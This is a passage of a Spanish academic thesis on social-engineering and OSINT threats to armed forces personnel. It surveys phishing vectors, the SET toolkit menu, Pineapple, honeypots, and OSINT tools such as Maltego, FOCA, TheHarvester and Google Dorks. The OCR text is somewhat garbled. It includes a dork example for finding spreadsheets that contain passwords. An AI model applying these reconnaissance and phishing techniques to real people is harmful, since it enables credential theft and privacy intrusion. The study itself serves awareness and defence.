familiar lejano, pero a cambio de pagar su entierro, heredaria su fortuna. Si nos remontamos en la
historia, hay otros ejemplos de engafios “estratégicos” como “el caballo de Troya”. Al final, todos los
engaros o timos consisten en presentarse como cordero, cuando al final se es lobo.

En la historia moderna ocurre lo mismo. Se ha pasado de emplear llamadas telefénicas como
simples vectores portadores de un ataque al empleo de verdaderas herramientas cibernéticas, que
emplean el vector Internet como portador del ataque.

A continuacion, se resumen las principales técnicas empleadas en la ingenieria social [2]:

e Las basadas en hacking tecnolégico o en ordenadores, que seréa sobre la que se centre este
trabajo.
e Las basadas en la interaccion humana.

Hay que remontarse al inicio de Internet para comprender la ingenieria social como ciberarma. En
los inicios las redes tenian una estructura simple y con apenas seguridad en las comunicaciones; de
forma que hacer “sniffing”* en la red se hacia con relativa frecuencia y con relativa facilidad. A través
de esta técnica de espiar los paquetes transmitidos por la red se podia obtener nombres de personas, asi
como otros datos empleados en posteriores ataques de ingenieria social.

Si bien, desde el comienzo, los actores relacionados con la seguridad informatica, conscientes del
peligro, empiezan a desarrollar procedimientos de seguridad, no es hasta el afio 2010 cuando surge en
Espafia el sentimiento de inseguridad. Asi se comienza a desarrollar de manera institucional todo tipo
de herramientas Ilamadas a implantar los primeros canones de seguridad. En la empresa privada todo
es mas rapido y casi cinco afios antes, apoyandose en compariias especializadas y de manera unilateral
después, comienza a desarrollar sus procedimientos de seguridad. Sin embargo, la persona se sigue
contemplando como un factor no sujeto a la técnica, ni a las innovaciones en seguridad, solamente
sujeto a su propio “yo” y a la disciplina que sobre la materia se quiera imponer. Todo queda resumido
en la siguiente cita de hacker Kevin Mitnick [3]:

“Una compafia puede gastar cientos de miles de euros en firewalls, sistemas de cifrado y demas
tecnologias de seguridad, pero si un atacante engafia a un empleado, todo ese dinero no habra servido
para nada.”

El bucle atacante/atacado es dificilmente detectable segun el “Estudio de Ciberseguridad y
Confianza en los hogares espafioles”, efectuado por el Instituto Nacional de Ciberseguridad (INCIBE)

12 Neologismo que hace referencia a los delitos cometidos a través de la red.
13 Neologismo que hace referencia a las armas utilizadas en el ambito ciber.
14 Efecto de capturar los paguetes que viajan dentro de una red.
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y el Observatorio Nacional de las Telecomunicaciones y de la Sociedad de la Informacién (ONTSI).
Asi solo un 40% de internautas percibe ataques y robos de informacion [4].

De esta forma, estos ataques o robos primarios estan dirigidos a obtener datos basicos, tales como
nombre, correo o teléfono, basicamente mediante la deteccién de los mismos en la red.

Esos ataques ya no quedan reducidos a la obtencion de datos bésicos, sino de aquellos que
permitan al atacante emprender una serie de acciones que podrian calificarse como delictivas.

Cabe destacar entonces que, ya que en la actualidad la mayoria de la poblacién mundial tiene
acceso a la red, es susceptible de sufrir un ciberataque y, debido al gran namero de redes sociales y la
interaccion del ser humano con estas, el volumen de informacion a encontrar de una persona que tenga
una vida en las redes sociales es mayor que una persona que carece de interaccion con las mismas [2].

2.2.3 Principales vectores de ataque

A continuacion, se introducen los principales vectores de ataque:

Eavesdropping: Consiste en interponerse entre la comunicacion de dos usuarios. La
finalidad es recopilar informacion. Cuando se realiza sobre medios de la red se denominara
“network sniffing” y, si se hace sobre una comunicacion de voz digital, se trata de
“wiretapping” [2].

Trashing: Consiste en analizar los “desechos” de una entidad u organizacion fisicamente,
como accediendo al ordenador que pueda contener la informacion de “desecho” [2].

Shoulder surfing: Aunque se traduzca el concepto como “mirar por encima del hombro”,
en este contexto consiste en el empleo de medios audiovisuales para captar informacién de
interés. Un ejemplo es la intrusion en el circuito cerrado de camaras de seguridad de una
empresa determinada [2].

Office snooping: Se trata de aprovechar un descuido de la victima para acceder a su
terminal y acceder a sus privilegios. Este ataque se puede complementar con el robo de
cuenta y usuario de la victima [2].

Phishing: Consiste en acceder a informacion ajena, sin autorizaciéon de la victima. Segun
Hispasec®®, el 66% de este tipo de ataques [5] se cuelga en webs comprometidas (no
confiables) y utilizan los siguientes métodos [6]:

-Deceptive Phishing: Se envia un correo electronico “engafnoso”, haciéndose pasar por
una compafiia o empresa de confianza o conocida por la victima de forma que el
atacado confie en el atacante, y siga sus indicaciones. El fin ultimo del mismo es
desviarle a un espacio fraudulento de forma que consiga entrar en su terminal. Es el
ataque mas efectuado. Lo normal es introducirlo a través del conocido como “Malware-
Based Phishing”.

-Malware-Based Phishing: Consiste en engafiar al atacado para que ejecute, abra o
inspeccione un archivo, o que ejecute la descarga del mismo, de forma que se ejecute
automaticamente un malware en el ordenador victima. Podemos encontrar numerosos
ejemplos en la prensa diaria como el robo de cuentas a famosos, realizado por un
ciberdelincuente en Espafia [7].

-Keyloggers y Screenloggers: Los keyloggers son programas que registran las
pulsaciones del teclado o pantalla efectuadas por el atacado, de forma que le muestre los

15 Organizacion informatica dedicada a la seguridad informatica.
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resultados al atacante a través de internet. Los screenloggers sacan imagenes de la
pantalla del atacado. Se han dado casos de introduccién de keyloggers en cajeros
automaticos [8].

-Session Hijacking: Consiste en obtener los datos de sesién de una pagina registrada por
el software. Suelen relacionarse con las ventanas emergentes de los navegadores.

-Web Trojans: Es un software malicioso camuflado en una URL y camuflada como web
legitima, de forma que el atacado ejecute el malware. Un ejemplo es el gusano
“Myparty” [9].

-System Reconfiguration Attacks: Esta basado en la modificacién de parametros como
los servidores DNS. De esta forma se podria efectuar un DNS Spoofing®® (Pharming).

-Data Theft: Son cddigos maliciosos cuya funcidon es recabar informacion del atacado.

-DNS-Based Phishing (Pharming): Consiste en una modificacion de la busqueda de un
nombre de dominio. Es decir, modificar fraudulentamente la resolucion del nombre de
dominio enviando al usuario a una direccion IP distinta [10].

-Hosts File Poisoning: Consiste en alterar el fichero “Host’’, dentro del servidor
DNS?8,

-Content-Injection Phishing: Es la introduccion de “contenido ilegitimo” dentro de una
web legitima.

-Man-in-the-Middle: Es una técnica que consiste en que el atacante se posiciona entre
ordenador y servicios. A dia de hoy, este método es uno de los mas utilizados [11].

-Search Engine Phishing: Consistente en buscadores falsos que llevan al atacado a sitios
ilegitimos.

-Backdoor: Es la creacion de una puerta trasera, que permite entrar en la maquina
victima como si tuviésemos todos los permisos del atacado. No solo se entiende por
maquina un ordenador, ya que se podria dar casos de que fuese una cadmara, como le
ocurrié a Sony en 2016 [12] o un terminal telefonico.

2.2.4 Herramientas para un atagque de ingenieria social

A lo largo de este apartado vamos a exponer las principales herramientas disefiadas
exclusivamente para ingenieria social. Aunque en la actualidad hay numerosas herramientas enfocadas
a la ingenieria social, muchas de ellas dejan de ser utiles para el usuario cuando es necesario realizar
un aporte econémico para su adquisicion, o cuando el software base para realiza los ataques es
Windows, ya que su caracter comercial ha lo convierte en un sistema operativo con escasas
capacidades. Es por ello, por lo que practicamente la totalidad de las herramientas emplean Linux
como sistema operativo.

16 Método para alterar las direcciones de los servidores DNS que utiliza la potencial victima y de esta forma poder
tener control sobre las consultas que se realizan.
7 Archivo utilizado por Windows para asociar nombres de dominio con direcciones IP.
18 Domain Name System - Sistema de nombres de dominio. Es un servidor que traduce nombres de dominio a IP y
viceversa. En las redes TCP/IP, cada PC dispone de una direccion IP para poder comunicarse con el resto de PC.
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e SET (Social Engineer Toolkit): Es un conjunto de herramientas para realizar tareas tales
como spam®®, spear phising®, crear puntos de acceso Wi-Fi 2! falsos, etc.

El poder de la herramienta radica en la facilidad de su uso, pudiendo realizar complejos
ataques con sencillos pasos. Tiene como caracteristica que, para la realizacion de ciertos
ataques, es necesario el uso de Metasploit??, programa preinstalado en sistemas operativos
como Kali Linux? [13].

La portada de la herramienta se puede ver en la Figura 2-1.

dergrqund=
on T;: ,;(; }ﬁa?;, gDave
https://www.trustedsec.com

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

Figura 2-1 Herramienta SET (Social Engineering Toolkit).

La Figura 2-2 muestra los distintos ataques que ofrece la herramienta.

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

SMS Spoofing Attack Vector

Third Party Modules

Figura 2-2 Menu principal.

Para la realizacion de cualquier ataque, van a existir dos configuraciones basicas:

19 Correo electronico no solicitado que se envia a un gran ndmero de destinatarios con fines publicitarios o
comerciales.

20 Consiste en crear un correo electrénico que aparenta ser de una persona o empresa conocida, con el fin de introducir
un malware en la plataforma objetivo.

21 Area fisica en la cual se puede conectar un equipo con capacidades Wi-Fi.
22 Es un proyecto de seguridad informatica que proporciona informacidn acerca de vulnerabilidades de seguridad.
23 Sistema operativo utilizado para realizar pruebas de seguridad, asi como auditorias de seguridad.
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-Utilizando los mdltiples payloads®* y exploits® que proporciona la herramienta, pero
siendo conocedor de la existencia de vulnerabilidades ya conocidas en estos.

-Crear ataques personalizados mediante exploits propios y a través de la utilizacion de
encoders?® en estos.

Tras el uso de la herramienta, podemos concluir que la misma:

-Nos permite enviar correos electrénicos en forma de spam, o incluso enviar un archivo
adjunto, camuflando en este una conexidn que se crea al abrir la victima el archivo. De esta
forma, el comienzo del ataque consiste en enviar un documento de valor a la victima y que
esta, tras reconocerlo, proceda a su apertura.

-Nos permite utilizar como vector de ataque una web para vulnerar la maquina de la
victima. Permite clonar una pagina o redirigir a una falsa con el objetivo de obtener las
credenciales de la victima.

-Permite infectar un dispositivo de almacenamiento, consecuencia de almacenar en el
dispositivo un autorun?’, que puede ir camuflado o no en un archivo, o simplemente
ejecutarse al insertar el dispositivo. De esta manera se abre entre victima y atacante una
conexion gracias a los payloads. Por su eficacia y simpleza es uno de los métodos mas
utilizados a dia de hoy, basando su eficacia en la falta de concienciacion de las personas
que, tras toparse con un elemento desconocido, lo almacenan en su ordenador.

-Permite crear, de manera guiada y sin necesidad de grandes conocimientos, ejecutar tus
propios payloads.

-Permite enviar correos electrénicos de forma masiva, como en casos anteriores, pero
para mas de un destinatario.

-Permite utilizar dispositivos Teensy?® para infectar una maquina remota. Seria parecido
a infectar un dispositivo de almacenamiento externo, con la diferencia de que ahora no
adjunta ningun tipo de archivo. Se trata de un dispositivo que, tras su manipulacion ejecuta
un codigo malicioso en funcion de otros parametros.

-Permite crear y configurar un punto de acceso Wi-Fi falso, sirviendo de base para
realizar ataques de ingenieria social sobre el resto de usuarios. Con ello capturariamos
conexiones o ejecutariamos diversas técnicas de spoofing.

-Permite crear actividad maliciosa a través de codigos QR?®, haciendo que dicho codigo,
al ser escaneado reconduzca a la descarga de una aplicacién, pagina o similar. El objetivo
es obtener de la victima informacion personal y privada. Se trata de un ingenioso ataque de
ingenieria social, que va cobrando cada vez mas victimas debido al uso de dichos codigos.

-Permite atacar a la Powershell®, permitiendo que se pueda insertar codigos maliciosos
en esta, y consiguiendo un volcado masivo de datos [2].

e Pineapple: Denominado “la pifia”, se trata de un dispositivo fisico que se utiliza como
herramienta de analisis de redes inaldmbricas. Esta en proceso de expansion, en cuanto a su

24 Parte del malware que realiza la accion maliciosa.

25 Programa o codigo que se aprovecha de un agujero de seguridad (vulnerabilidad) en una aplicacion o sistema.

% programa utilizado para convertir una informacién de un formato a otro.

27 Capacidad de un sistema/programa/archivo de ejecutarse sin la necesidad de interactuar con él.

28 pequefio microcontrolador HID programable con interfaz USB que permite emular un teclado y mouse para enviar
comandos a cualquier sistema operativo.

29 Médulo que permite almacenar informacion en una matriz de puntos.

30 Terminal de un sistema operativo.
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utilidad se refiere, y su comunidad de usuarios no es tan grande como los que puedan tener
otras herramientas.

Este dispositivo es capaz de realizar distintos ataques Wi-Fi como DNS spoofing, phising,
MITM3L, Fake AP®2 (Rogue Ap).

El objetivo es crear un punto de acceso falso para realizar todas las actividades citadas en
el parrafo anterior. Observamos que presenta utilidades similares a las citadas en SET, si
bien su grado de sofisticacion y sigilo son mucho mayores. Por su tamafio y apariencia
fisica, puede hacerse pasar por un disco duro externo [14] [2].

e Honeypots: Es una de las principales técnicas de ingenieria social inversa. Su objetivo
principal es hacerse pasar por un sistema vulnerable, atrayendo a hackers, con la intencion
de que estos realicen un ataque sobre las victimas. De esta forma, la falsa victima podria
saber las distintas técnicas utilizadas por los atacantes para vulnerar su propio sistema.

En la actualidad, se conoce en la comunidad hacker que distintos organismos de las
Fuerzas y Cuerpos de Seguridad del Estado utilizan Honeypots con la intenciéon de
localizar y detener delincuentes, pederastas, terroristas, traficantes, etc.

Por ultimo, destacamos como herramienta para la creacion de Honeypots, la distribuida por
Linux exclusivamente para tal finalidad. Se conoce como Kippo. Permite crear un servicio
SSH que, actuando a modo de anzuelo, registra cada uno de los comandos que el atacado
introduce, guardando los mismos en una base de datos [2].

2.3 OSINT

2.3.1 Concepto de OSINT

Del inglés “Open Source Intelligence” hace referencia a la “inteligencia de fuentes abiertas”. EsS
un procedimiento de obtencion de informacion. Dicha informacion se caracteriza por ser accesible a
cualquier tipo de individuo [15].

En la Figura 2-3 se puede ver el ciclo de la inteligencia, del que forma parte OSINT, contenida
dentro de la fase de obtencidn.

Figura 2-3 Ciclo de la inteligencia [16].

31 (Man In The Middle) ataque consistente en situarse entre usuario y sistema.
%2 Punto de acceso Wi-Fi falso.
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Es importante sefialar que, junto a otros procedimientos de obtencién de informacién como
HUMINT (HUman INTelligence)®3, IMINT (IMage INTelligence)®*, SIGINT (SIGnal INTelligence)*®
0 MASINT (Measurement and Signature INTelligence)® forman parte de la segunda fase del ciclo de
inteligencia (obtencion de informacién) y que, en combinacion con el resto (difusion , analisis y
elaboracion), constituye el ciclo de todo procedimiento destinado a elaborar un producto de
inteligencia, primero de los niveles a alcanzar en todo proceso de toma de decisiones [16].

También es importante resaltar que todo proceso de obtencion de informacién se doble. Es decir,
se combine al menos dos de ellos. Lo normal, hoy en dia, es que uno sea OSINT. De no hacerse de
esta manera, el analista de inteligencia no contaria con informacién contrastada, lo que haria que su
producto perdiese objetividad (entre otras cosas) y, en lugar de proporcionar al mando un producto de
inteligencia destinado a apoyar su decision, le estaria proporcionando una “opiniéon”, lo que podria
acarrear graves consecuencias, como el ejemplo de las armas de destruccion masiva en la guerra de
Irak [17].

En la Figura 2-4 se puede ver que el concepto “inteligencia”, se apoya en los procedimientos de
obtencidn citados.

Figura 2-4 Pilares de la inteligencia [18].

De manera general, se puede decir que OSINT sirve como punto de partida para la primera fase de
busqueda de informacion sobre el objetivo.

2.3.2 Nacimiento de OSINT como método de obtencién de informacion

Se empiezan a tener las primeras referencias de OSINT como concepto en 1988, de mano de la
inteligencia militar estadounidense (DIA, Defense Intelligence Agency). Es entonces cuando, al
General de los Marines Alfred M. Gray Jr se le encomienda la elaboracion de inteligencia basica sobre
nuevas areas de operaciones potenciales. Es en esa compilacion masiva de informacion cuando se
recurre al OSINT, a la informacion vertida a la red.

En noviembre de 2005, el entonces director de la DIA, anuncia la creacion del OSC (Open Source
Center). Este centro absorberia al ya existente desde 1941 FBIS (Foreing Broadcast Information
Service) [17], siendo su misién general la compilacion de informacion existente en Internet, prensa,

33 Procedimiento de obtencidn de inteligencia a través de humanos.

34 Procedimiento de obtencién de inteligencia a través de imagenes.

3 Procedimiento de obtencidn de inteligencia a través de sefales(electromagnéticas).

3 Procedimiento de obtencién de inteligencia a través de mediciones y firmas electronicas.
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radio, TV, bases de datos abiertas, publicaciones especializadas (por ejemplo, geoespaciales),
publicaciones tecnoldgicas, etc. En definitiva, recolectar toda la informacion a la que podria acceder
un ciudadano normal en el mercado.

Asi, segln los expertos, hoy en dia el 90% de la informacion esta en las fuentes abiertas,
encontrandose sin compilar, tratar y relacionar. Este es el gran reto del siglo XXI. La diferencia ahora,
en el mundo de la inteligencia, no va a estar en acceder a la informacion, sino contar con ella en unos
plazos de tiempo acotados, que permita tomar decisiones a tiempo.

En Espafa, las FCSE (Fuerzas y Cuerpos de Seguridad del Estado) y el CNI (Centro Nacional de
Inteligencia), cuentan con departamentos y divisiones dedicadas exclusivamente al OSINT. Dentro de
las FAS espafiolas, hay dos estructuras (ambas dependientes del JEMAD, Jefe del Estado Mayor de la
Defensa) con departamentos dedicados a este procedimiento: CIFAS (Centro de Inteligencia de las
Fuerzas Armadas) y el MCCD (Mando Conjunto de Ciber Defensa).

Los objetivos que ambos persiguen dentro de OSINT son completamente diferentes. Aunque
comparten técnicas y procedimientos, el primero dedica su esfuerzo OSINT a la obtencion de
informacidn destinada a satisfacer las necesidades del JEMAD vy el segundo a la obtencion de
informacion dirigida a evitar cualquier tipo de ataque o intrusién en los sistemas de mando y control de
las FAS.

2.3.3 Métodos y herramientas de obtencion

Dentro del gran abanico que es el OSINT, encontramos diversos tipos de fuentes. Asi, podemos
hablar de medios de comunicacion, informacion puablica, bibliotecas en linea, foros, redes sociales,
blogs, etc. Todos y cada uno de ellos aportan informacion para ser posteriormente analizada.

La Figura 2-5 muestra las distintas fases de las que estd compuesta OSINT.

Requisitos

Fuentes de

Inteligencia 3 »
informacién

Procesamiento

Figura 2-5 Fases OSINT [19].

Es dentro de este gran volumen de informacion en el que existiran diferentes herramientas que nos
permitan su analisis y explotacion. Es de nuevo importante resaltar que todas las herramientas a
continuacion expuestas estan en la red y son de acceso libre y gratuito, siendo las mas importantes:

e Maltego: Se considera como la principal herramienta de mineria de datos disponible en el
mercado. Cuenta con diversas versiones y con softwares independientes. Dichas versiones
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van desde la mas basica gratuita hasta la comercial XXL. La principal diferencia esta en la
cantidad de informacion que nos muestra. Es decir, no se muestra toda la informacion
disponible, a no ser que queramos comprar una de sus versiones de pago [2].

Otra de las principales diferencias de esta herramienta con el resto de herramientas es la
forma gréfica en la que muestra la informacion, haciendo incluso diferencia de colores con
leyenda para su uso.

La informacién principal que podemos obtener de la version gratuita tiene un maximo de
doce saltos de informacion sobre el objetivo a buscar: direcciones de correo electronico,
redes sociales, dominios, empresas relacionadas, nimeros de teléfono, articulos de internet
relacionados con la busqueda, relaciones entre las IP buscadas [20]. Un ejemplo se muestra

Maltego CE 40.1

Start @ Machine

Figura 2-6 Menu principal de Maltego.

Maltego permite comenzar la basqueda con un simple dominio, con un correo, con un
usuario, con nombre y apellido, a través de las redes sociales, o a través de una
geolocalizacion tras de un mensaje expuesto en Twitter.

e FOCA (Fingerprinting Organizations with Collected Archives): Es una herramienta
perteneciente a ElevenPaths que tiene como finalidad la obtencion de metadatos de
archivos y documentos. De dichos metadatos se obtiene: nombres de usuarios,
geolocalizacion, sistemas operativos y correos electrénicos.

Sirve de valiosa ayuda para realizar un ataque de ingenieria social, ya que en el caso de que
se partiese de la informaciéon contenida en una fotografia, el atacante seria capaz de
conocer la marca, modelo, SO y geolocalizacion de la fotografia. Destacar que las
principales redes sociales, realizan un borrado de metadatos, pero esto no las exime a las
propias redes sociales de la utilizacion de los mismos. Es bien sabido que las principales
redes sociales son capaces de geolocalizarnos y tras ello compartirlo con nuestros
contactos, aunque nuestra geolocalizacion esté apagada. En el caso de que sea un
documento (Microsoft Office, Open Office, PDF, etc.) lo que se analice, seremos capaz de
sacar nombres de usuarios, creadores del documento, metadatos de las iméagenes
contenidas, contrasefias, fechas de creacion, modificacion, compafiia que lo creo, etc [22].
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En la Figura 2-7 se puede ver la pantalla de inicio de la herramienta.

= (=] = [

% FOCA (final version) 2.4

1=/Project 1=/ Report Tools . j#Options (3 Tasklist (@ Plugins & About
E-{@ Mo project
= Network
— Domains
(% Roles
@ Vuinerabilties
. Metadata

FOCA final version

Compiled flags [ PRO LFI TypeConversion SpecialChars Plugins BackUps Leaks ]

Time Source

? Coni_| 53l Deastivate AutaSeroll | (25 Clear | [E Save loa te File

Figura 2-7 Interfaz FOCA.

FOCA no solo trabaja con archivos que se tienen dentro del sistema, cuenta con un
apartado con capacidad de mostrar los habitos de navegacion de los integrantes de una
empresa (dentro de su propio servidor DNS) [23], mediante los nhombres almacenados en
caché® como se puede ver en la Figura 2-8.

3 FOCA (final version) 3.4 ==
1=/Project = Report 'Tools . »Options (3 TasklList [ Plugins &~ About
=@ No project
= Network Domain uviga es , Obtain DNS servers
t..~ Domains
& Pl File  C\Users\ludak'\Deskiop\TFG'programas y enlaces \FOCA'bin\Analisys\DNSCacheSnoc [ Load file
@ Vulnembilties Dns ins L
. Metadata
Cache [ o
Monitor [ et et
Status: Snooping
Time Source Severty  Message
! Coni_| 55l Deactivate AutoScroll | (25 Clear | (=] Save log to File

Figura 2-8 Funcionalidades de FOCA.

FOCA cuenta también con la posibilidad de buscar informacion directamente a traves de
tres buscadores: Google, Bing y Exalead, facilitando en trabajo de los denominados

Google Dorks, explicado en el siguiente aparatado.

En Espafia, cabe destacar que el uso de informacion relevante en los metadatos, viene
legislada segun la Ley 18/2011 de 5 julio [24].

37 Area de almacenamiento dedicada a la recuperacion a gran velocidad de los datos usados o solicitados con més

frecuencia
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e Google Dorks: Consiste en hacer una busqueda avanzada en Google, tomando como base
la informacién que Google ha indexado, de forma que la busqueda se afine, hasta lograr la
informacion deseada.

Entre la informacion que se puede obtener, mediante el filtrado, hallaremos documentos
confidenciales, nombres de usuarios, contrasefias, numeros de teléfono, perfiles, contenido
privado, acceso a camaras de seguridad, tablas de codigo o tablas de Excel [25].

Para una mejor navegacion, la Figura 2-9 destaca los parametros a utilizar.

Palabra(s) dentro de un texto Allintext: Allintext: Operaciones en el
mar
Encusntra dentro de la bidsqueda la palabra intext: qperacion intext: cifas.
deseada
Buseca en el titulo del navegador Allimtitle: Allimtitle: Operaciones en el
mar
Busca palabras que se wiilizan para enlazar a Inanchar: Inanchar: cifas
ofra pagina
Bisqueda en el nombre de la yr] Tl Inurl cifas.
Busca en o fuera de los sitios (=ASite; Siferes o gllinfext: cifas -
sitg;.es
Buscar por documentos Filetype: Operaciones en mar
(RAGRS anne) Jletipedas.
Paginas similares Related: Related: www. emad mde. es
Muestra informacion de la pagina Info: info: www.emad mde.es

Figura 2-9 Uso de Google Dorks [18].

Resaltar que existen paginas web que recopilan toda la informacion de caracter “relevante”
para los atacantes potenciales.

En la siguiente Figura 2-10 se puede ver el ejemplo de una de las busquedas realizadas.

& C | Esreguo | hitps/wwgooglees w3

Go g|e ste com filetype s "usuario “contraseha ™ v Q il i sesicn |

MHEUSUARIO - Nivelacion

P ficha_inscripcion.xis - Blenvenido a Aprende Peru
n pIAS/Mod_forumy. cha,_inseriocion

5 deportes

Figura 2-10 Ejemplo Google Dorks.
24



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

e Creepy: Es una herramienta que permite la geolocalizacion a traves de las redes sociales
como Google+, Instagram, Twitter y Flickr.

Una vez hecha la bdsqueda, se puede ver la interactuacion del objetivo con las redes
sociales (comentarios, tuits, etc.) asi como sus fotos y nombre de usuario [26].

A continuacion, en la Figura 2-11 se puede ver un ejemplo de localizacion.

Figura 2-11 Ejemplo localizacion con Creepy.

e TheHarvester: Es una herramienta de Linux que trata de obtener informacidn sobre correos
electronicos, subdominios, equipos, nombres de empleados, puertos abiertos, banners, etc.
Utilizando fuentes pablicas como motores de busqueda, la red social LinkedIn y la base de
datos de SHODAN (buscador de dispositivos conectados a Internet) [27].

En la Figura 2-12 se puede ver la interfaz inicial de la herramienta.

root@Kkali: ~ e @ 0
File Edit View Search Terminal Help

:~# theharvester

e o o o ok o ok o ok ok ok ok ok ok ok ok ok ook ok 3ok ok ok ok ok ook s ok ok sk ok ok ok ok ok ok ook ok ok ok ok ook ok ok ok ok ok kokok sk koK k ok k ok

| Ladt™ . AN
N N e ]

T O O A
LN Y O SN RV R A

TheHarvester Ver. 2.7
Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com

"
*
¥
*
*
*
*
+*
*
sk o ok o o ok ok o ok o o ok ok o o ok ok o ok ok o ok ok oK ok o oK ok o koK o ok ok o ok ok ok ok sk o ok ok ok ok ok o Kok ok ok ok o Kok ok ok

*
*
*
*
*
*
*
*
*
*
*

Usage: theharvester options

-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
google-profiles, jigsaw, twitter, googleplus, all

-s: Start in result number X (default: 0)

-v+ \larifv hnct name via dnc recnlutinn and cearrh far virtual hncte

Figura 2-12 Interfaz de TheHarvester.
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e Dmitry: Es una herramienta que obtiene toda la informacién de un dominio. Esta
informacion es de gran relevancia si solo se conoce la direccion web pudiendo obtener el
contacto del dominio, la fecha de alta del dominio, fecha de expiracion del mismo, el
correo electronico, teléfono e incluso ubicacion fisica si este correspondiera a alguna
empresa. Sus blsquedas, en gran parte, se materializan en Ripe.net® [28] pero entre la gran
cantidad de datos aportados, solamente extrae el nombre, el teléfono, asi como la direccion
fisica.

e Otras herramientas: Las anteriormente nombradas son las principales herramientas de
OSINT, utilizables para realizar una busqueda sobre personal, correos, organizaciones y
demaés. Sin embargo, existe otra gama de herramientas, como Shodan, que permite buscar
dispositivos conectados a la red, con una configuracion de seguridad erronea [29].
Ademés, también podemos encontrar péginas en Internet [30] especializadas en
herramientas de OSINT en linea, asi como otras cuyos menus desplegables permiten acotar
la busqueda [31] también en linea. Sin embargo, y de manera general su precision es
menor que los softwares anteriormente citados.

2.3.4 Informacion obtenida por OSINT

Después de revisar las principales herramientas dentro del ambito de OSINT, asi como la cantidad
de informacién que estas nos pueden proporcionar, se realiza un estudio sobre la posibilidad de ser
“objetivo” exclusivamente tomando como base la informacidn obtenida en fuentes abiertas.

Hoy en dia, cualquier persona que tenga un perfil o interactle a través de redes sociales o de la red,
es practicamente imposible que lo haga de forma an6nima, o que sus datos no puedan obtenerse de una
forma sencilla. Direcciones de correo, junto con nimeros de teléfono e informacién anexada a los
metadatos inclinan la balanza para pasar a ser un objetivo potencial para un atacante. Es cierto que
otras informaciones, tales como nombres de usuario o software empleados son importantes, pero ahora
pierden parte de su valor frente a los ataques que se proponen.

Pasamos a enumerar el tipo de informacién que podemos considerar Gtil para los ataques
posteriores [2]:

Usuarios y contrasefias.

Direcciones de correo electronico.

NUmeros de teléfono.

Informacion de la IP.

Geolocalizacion.

Detalles personales.

Otros (a toda esta informacion se le podria afiadir la proporcionada tras los fallos de
seguridad, software empleado o sistemas operativos, para poder tener un amplio abanico de
posibilidades).

Mencion aparte le corresponde a la informacion procedente de imagenes satélite. Hoy en dia
podemos encontrar una gran variedad de empresas dedicadas a suministrar este material para usos
diversos. Los mismos fines van desde usos catastrales, expansién de cultivos, localizacion de
minerales, etc.

Sin embargo, si nos focalizamos en imagenes de caracter militar, las mismas quedarian fuera de lo
que estamos tratando como OSINT, ya que estas no se encuentran (a no ser que se haya procedido a su
descatalogacion) en fuentes abiertas.

38 pagina dedicada a dar informacidn sobre IP/usuarios, asi como controladores de redes.
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Otra cosa es que a partir de una fotografia “comercial” un analista militar llegase a unas
determinadas conclusiones. Son estas las que no aparecen en fuentes abiertas, ya que son de caracter
“clasificado”, pero no el soporte grafico [16].

2.4 Redes sociales

2.4.1 Introduccidn a las redes sociales

Segun la Real Academia Espafiola (RAE), se define “red social” como: “plataforma digital de
comunicacion global que pone en contacto a gran namero de usuarios [32]”. Cabe destacar que es el
siglo XXI, el que ha sido bautizado como el gran siglo de las comunicaciones ya sea por los adelantos
en las plataformas de telecomunicaciones como las plataformas cibernéticas para el desarrollo de las
mismas.

Aunque hayan supuesto un novedoso avance para las comunicaciones, a dia de hoy las redes
sociales no solo nos favorecen la relacién entre usuarios, sino que su capacidad se extiende mas alla,
llegando a ofrecer video, audio o fotografia en ese intercambio “social”; elementos que favorecen que
redes sociales sean un campo de bdsqueda para delincuentes. Es por ese motivo por lo que diferentes
departamentos de la administracion empiezan a dictar normas para evitar que sus trabajadores puedan
ser objeto de cualquier ataque [33].

Las redes sociales favorecen en la actualidad las movilizaciones llevadas a cabo por los usuarios
para apoyar o denunciar un hecho. Son también utilizadas por personajes publicos relevantes para
difundir mensajes. No es extrafio ver en la actualidad a los politicos u otros personajes cruzar
declaraciones utilizando dichos medios.

Es también destacable el auge de la utilizacion de las redes sociales por organizaciones terroristas
convencionales como veremos mas adelante.

El comienzo de las redes sociales esta ligado al comienzo de Internet. Hoy en dia se cuentan por
cientos este tipo de plataformas, abriéndose un abanico més amplio que la simple mensajeria. Se
consideran redes sociales plataformas como YouTube, WhatsApp, SoundCloud entre otras.

Atendiendo a su objetivo podremos distinguir entre las siguientes redes:

Contactos: Badoo, Match, Tinder.

Mensajeria: WhatsApp, Telegram, Twitter.

General: Facebook, Instagram, Tumblr.

Musica/foto/video: Flickr, Spotify, Soundhound, SoundCloud, YouTube.

Durante el desarrollo del trabajo, nos centramos en las denominadas redes sociales puras, siendo
estas Facebook, Twitter, Instagram y LinkedIn. Afiadimos WhatsApp como elemento basico de
comunicacion y no como fuente, que se considera como red social en proceso, aungue su uso como tal
se encuentre en debate en la actualidad.

2.4.2 Plataformas utilizadas

e Facebook: Considerada como la red social por excelencia, tiene como fecha de creacion el
afio 2003, aunque la version inicial de esta dista mucho de la realidad actual. En sus
origenes era una red destinada al alumnado de la universidad de Harvard pero que ha
Ilegado a expandirse hasta contar en la actualidad con mas de 1500 millones de usuarios y
traducida a mas de 70 idiomas. En la actualidad se encuentra bajo censura politica en
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aquellos regimenes en los que se carece de libertad de expresion, o incluso esta perseguida,
como pueden ser China, Irdn o Corea del Norte, entre otros [34].

Las ofertas de esta red social han crecido con el paso de los afios, incorporandose nuevas
opciones de uso para los usuarios y no cifiendose a un uso exclusivo de un simple chat o
intercambio de fotografias como si han hecho otras redes sociales. Su crecimiento y la
incorporacion de nuevos usos, sirve de referencia a otras redes sociales con menor nimero
de usuarios.

A continuacion, en la Figura 2-13 se puede ver el logotipo de Facebook:

Figura 2-13 Logotipo de Facebook [35].

La franja de edad que predomina en el uso de esta red social esta entre los 18-29 afios,
seguido de la franja de los 30-49 afios [36]. Dentro de Fuerzas Armadas su uso es amplio,
